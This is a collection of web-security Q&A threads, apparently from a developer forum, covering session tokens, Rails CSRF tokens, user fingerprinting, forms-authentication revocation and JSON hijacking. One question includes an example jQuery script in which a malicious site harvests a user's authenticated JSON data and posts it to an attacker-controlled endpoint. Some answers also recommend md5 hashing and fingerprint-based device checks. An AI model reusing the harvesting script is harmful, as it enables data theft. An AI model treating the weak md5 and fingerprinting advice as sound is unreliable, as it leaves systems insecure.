Scenario:
Upon starting a session on my site, I generate a rand token that is shown to the user that once. Say they “store” it away for later use.
I then, INSERT the md5(token) into SQL with timestamp.
When the user visits other pages like login, they would have to pass the token via URL as part of the validation process. I would check to see if the token exist and maybe UPDATE userid to this token.
So. Even if someone steals a user’s PHPSESSID cookie, wouldn’t it do ANY good to the hacker since they can’t access any of these pages without knowing the token?
You are right that they won't be able to access the pages without the token, but as an added point, sometimes I'd like to use IP tracking or browser tracking used concurrently as well.
The rationale being that even if someone gets a PHPSESSID cookie and the token, he would have to be coming from the same IP source as well as use the same browser. Then again these are just means of security by obscurity.
I recommend if you are really concerned about security, you can try looking at using a HTTPS connection. Hope it helped. Cheers!
Related
I had a look at Rails' ActionController::RequestForgeryProtection module and couldn't find anything related to using secrets. Basically, it uses secure PRNG as a one time pad, xors, computes Base64 and embeds into HTML (form, tags). I agree that it is impossible for an attacker to guess what a PRNG generates, but nevertheless I can generate (or forge if you like) a similar token, embed it into my "evil" form and submit. As far as understand Rails compares ( verifies) it on the backend. But I can't fully understand why it is secure. After all, I can generate my own token exactly like Rails does. Could someone clarify how the security is achieved?
You might misunderstand what this protects against, so let's first clarify what CSRF is, and what it is not. Sorry if this is not the point of confusion, might still be helpful for others, and we will get to the point afterwards.
Let's say you have an application that allows you to say transfer money with a POST request (do something that "changes state"), and uses cookie-based sessions. (Note that this is not the only case csrf might be possible, but by far the most common.) This application receives the request and performs the action. As an attacker, I can set up another application on a different domain, and get a user to visit my rogue application. It does not even have to look similar to the real one, it can be completely different, just having a user visit my rogue domain is enough. I as the attacker can then send a post to the victim application's domain, to the exact url with all the necessary parameters so that money gets transferred (the action will be performed). The victim user need not even know if this happens in xhr from javascript - or I can just properly post a form, the user gets redirected, but the harm is done.
This is affected by a few things, but the point is that cross-origin requests are not prevented by the same origin policy, only the response will not be available to the other domain - but in this case when server state changes in the victim application (like money gets transferred), the attacker might not care much about the response itself. All this needs is that the victim user that visits the attacker's page while still being logged in to the victim application. Cookies will be sent with the request regardless of the page the request is sent from, the only thing that counts is the destination domain (well, unless samesite is set for the cookie, but that's a different story).
Ok, so how does Rails (and similar synchronizer token solutions) prevent this? If you lok at lines 318 and 322 in the source, the token received from the user is compared to the one already stored in the session. When a user logs in, a random token is generated and stored for that particular user, for that particular session. Subsequent requests that change state (everything apart from GET) check if the token received from the client is the same that's stored in the session. If you (or an attcker) generate and send a new one, that will be different and the request will fail validation. An attacker on their own website cannot guess the correct token to send, so the attack above becomes impossible. An attacker on a different origin also cannot read the token of a user, because that is prevented by the same origin policy (the attacker can send a GET request to the victim app, but cannot read the response).
So to clarify, CSRF is not a protection against parameter tampering, which might have caused your confusion. In your own requests, if you know the token, you can change the request in any way, send any parameter, the CSRF token does not protect against this. It is against the attack outlined above.
Note that the description above is only scratching the surface, there is a lot of depth to CSRF protection, and Rails too does a little more, with some other frameworks doing a lot more to protect against less likely attacks.
I want to track all users (both authenticated users and anonymous users) , so far the solution i found are not good.
First of all, we can use a cookie but as we all know its not a reliable solution, second of all we, can use browser finger printing, but until this moment I did not find any solution for server side.
I found this solution valve but it is for client side and this one browserFingerPrint , I want an approach which user does not find any token in request , I want to create the key in server side so I can track users.
Does any one know any solution?
note : my server side technology is Asp.net Mvc
use case : users can comment on m site and also they can like or dislike comments, I want to allow all users to do this and also I want to track users before action (like or dislike)
No, there is no solution for what you want that doesn't use some form of a "token" which fingerprints anonymous users.
Let's see why.
An anonymous browser sends a series of bits of data, such as IP, browser agent and other headers. These should never be used to identify a user because they can be easily forged. They can be OK for tracking, and for most purposes IP address or some hash based on IP address and browser agent is sufficient. However this won't do for things which require security, such as commenter identification.
For commenter identification, it is necessary to prevent fraud. This is typically achieved by giving a unique token to each user. This can be transmitted in many forms, off the top of my head: cookies, headers, query string, POST parameters, or client certificates. However it does require a token issued by the server. If the client can generate a token from scratch, then it follows it can generate a fake token.
In may Rails web application, I need to enable more control in user authentication like if a user after registration will have specific credentials to login. So he/she should be able to login from a particular system(PC) only. This can prevent other users from logging in even if they know the particular users' credentials. Can we use Cookies for this purpose? Will Cookie always be unique if we access a particular web app from a particular PC? Help me to have a better solution.
Thanks in adv :)-
In my opinion, use cookies with caution, when you have no other options.
In this particular case (i.e. identify a unic computer), I think you can identify it by 2 solutions :
A stupid cookie with a value you know. The problem of a cookie is that a user can simply copy/paste the cookie value to another computer to have same access.
A unic key computed from computer data. You can create it with some accessible informations from this computer : browser, browser plugins, browser version, operating system, etc. This key can now be stored as a cookie. You have to check if this key is valid, regarding your identification function. Copy past have no effect because source informations are not the same. The main problem of this solution is it's 'too' secure : if the user change its browser, add a plugin, change its browser version, the function to compute key will not work at all.
This is the second solution I use, with this informations for example Rails Browser Detection Methods or https://github.com/josh/useragent
You can store secuirity token (md5 hash or something else) in the cookie, and check it for access.
I've got a ASP.NET MVC web app which uses forms authentication.
I'm using ActiveDirectoryMembershipProvider to validate users against our domain.
if (Membership.ValidateUser(m.Username, m.Password))
{
FormsAuthentication.SetAuthCookie(m.Username, true);
....
This means the user gets validated only when they log in.
Problem with that is ofcourse that if the user's password changes they still remain logged in. Or worse, user leaves our company with a grudge, and they still have access.
I would have thought such a simple use case would have an obvious answer but I've been stuck on this for a while now.
I could put the users password in the session and then validate it every time, but that doesn't feel right.
What is the suggested/correct way of handling this?
The typical solution is to force log out when users unsubscribes from the service or less commonly when they change password. Use this method:
FormsAuthentication.SignOut();
FormsAuthentication.RedirectToLoginPage();
If the user can be deactivated outside of the app (i.e. Active Directory), the typical practice is to rely on the session time-out and perhaps ask for the credentials once more for critical operations. If you absolutely cannot allow the deactivated user to work while the session is still active, then yes, you'll have to check the credentials on every request. Since storing the password in the app is a very bad idea, it means you'll have to ask for credentials on each request which arguably is an even worse idea.
As for the password change, it normally doesn't modify the user's permissions so it should be harmless to allow for them to continue working.
The answer is to periodically (every 30 minutes or so) check User.IsApproved and User.LastPasswordChangedDate to make sure the users credentials are still valid.
To do this you need to manually create the FormsAuthenticationTicket and cookie, rather than using FormsAuthentication.SetAuthCookie.
Put the date you validated the user inside UserData and compare this against LastPasswordChangedDate.
I've implemented this and it works perfectly.
More information here
Check if Active Directory password is different from cookie
We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.
Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?
For example:
Could a malicious website build a script like this to get our data:
$.post('their.secret.json', function(response) {
$.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
alert('we saved your stuff!');
}
});
Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?
Absent some as-yet-unpatched browser vulnerability, what you appear to be worried about can not be done.
A script on another domain will not be able to make AJAX requests to your domain. Nor can it load up a page from your domain and 'steal' that information.
What you do need to be concerned with as far as CSRF goes would be destructive actions via GET requests, which of course do not require any scripting at all. And all of this of course assumes that your site is not vulnerable to cross-site scripting (which could permit someone to 'steal' data via someone else's login).
I would think you would be much more likely to have problems with 'legitimate' users who are there to 'mine' your data, though. That's more of a business-level thing, though... aside from assuring proper logging to identify such situations.
If you are afraid that an attacker is able to use the session of a legitimate user to retrieve JSON-objects, you are talking about JSON-hijacking. It depends on the way your JSON-Files are structured, if such an attack is even possible. Look up the term "JSON hijacking" for further information or feel free to leave a comment with more details about your application concerning JSON-objects. If you find out that you are vulnerable, adding a CSRF-Token will help to shut down any JSON hijacking attacks.
You must also make sure that there is not a single Cross-Site Scripting (XSS) vulnerability in your web application. If an attacker can use XSS, it is rather easy for him to harvest data by controlling the browser of a valid user. CSRF-Tokens are useless in such a case.